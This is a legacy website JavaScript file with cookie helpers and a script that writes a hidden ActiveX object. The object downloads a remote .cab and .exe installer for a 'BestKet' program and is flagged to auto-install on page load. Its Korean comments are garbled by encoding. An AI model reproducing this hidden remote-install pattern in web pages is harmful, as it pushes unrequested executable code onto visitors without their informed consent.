

function fnSetCookie(sName, sValue, nExpire)
{ 
	var	today		=	new	Date();
	var	sExpire		=	new	Date(today.getTime() + 1000*60*60*24*nExpire);
	document.cookie	=	sName + "=" + escape( sValue ) + "; path=/; expires=" + sExpire.toGMTString() + ";" 
} 

function fnClearCookie(sName) {
	var expire_date = new Date();
	//¾îÁ¦ ³¯Â¥¸¦ ÄíÅ° ¼Ò¸ê ³¯Â¥·Î ¼³Á¤ÇÑ´Ù.
	expire_date.setDate(expire_date.getDate() - 1)
	document.cookie = sName + "= " + "; expires=" + expire_date.toGMTString() + "; path=/"
}


// fnGetCookie
function fnGetCookie(sName){
	var	aCookie = document.cookie.split("; ");
	for (var i=0; i < aCookie.length; i++){
		var aCrumb = aCookie[i].split("=");
		if (sName == aCrumb[0]) 
			return unescape(aCrumb[1]);
	}
	return "";
}

function fnMpunchPluginChk()
{
	if(navigator.appName !=	'Netscape') {
		/*
		if(BestKetSetupCtrl.object == null && navigator.userAgent.indexOf("SV1")>0 )
        {
                alert("À©µµ¿ì XP ¼­ºñ½ºÆÑ2·Î ÀÎÇÏ¿© ActiveX°¡ ¼³Ä¡µÇÁö ¾Ê¾Ò½À´Ï´Ù. \n¾È³»ÆäÀÌÁö¸¦ ÀÐ¾îº¸½ÅÈÄ ActiveX¸¦ ¼³Ä¡ÇØ ÁÖ¼¼¿ä");
                location.href = "";
                return;
        }
		*/
		
		if(BestKetSetupCtrl.object == null && navigator.userAgent.indexOf("SV1")<0) 
		{
			fnSetCookie("MpunchNonAuth", "1", 1);
		}
	}
}

// ÀÏÁÖÀÏ°£ 
if(fnGetCookie("MpunchNonAuth") != "1")
{

	document.write("<" + "SCRIPT FOR=window EVENT=onload LANGUAGE='JScript'>fnMpunchPluginChk();</" + "SCRIPT>");


	if ((navigator.appName != 'Netscape')) {
document.write('<object id="BestKetSetupCtrl" name="Window" classid="clsid:542A86EA-126D-4AE3-9169-F6D68A14121C" codebase="http://power.bestket.com/setup/BestKetWebSetup.cab#version=1,0,0,82" style="display: none;">');
document.write('<PARAM name = "ServerName" value ="º£½ºÆ®ÄÏ">');
document.write('<PARAM name = "ManagerEmail" value ="webmaster@cionsoft.com">');
document.write('<PARAM name = "UpgradeURL" value ="http://power.bestket.com/upgrade/update_info.dat">');
document.write('<PARAM name = "SetupURL" value ="http://power.bestket.com/setup/BestKetSetup.exe">');
document.write('<PARAM name = "UserKey" value ="power_aqNGwnewSw">');
document.write('<PARAM name = "Title" value ="º£½ºÆ®ÄÏ">');
document.write('<PARAM name = "SpecURL" value ="http://power.bestket.com/intro/kin.htm">');
document.write('<PARAM name = "IsAutoInsPage" value ="1">');
document.write('<PARAM name = "HomepageURL" value ="http://bestket.com">');
document.write('</object>');

	}
}
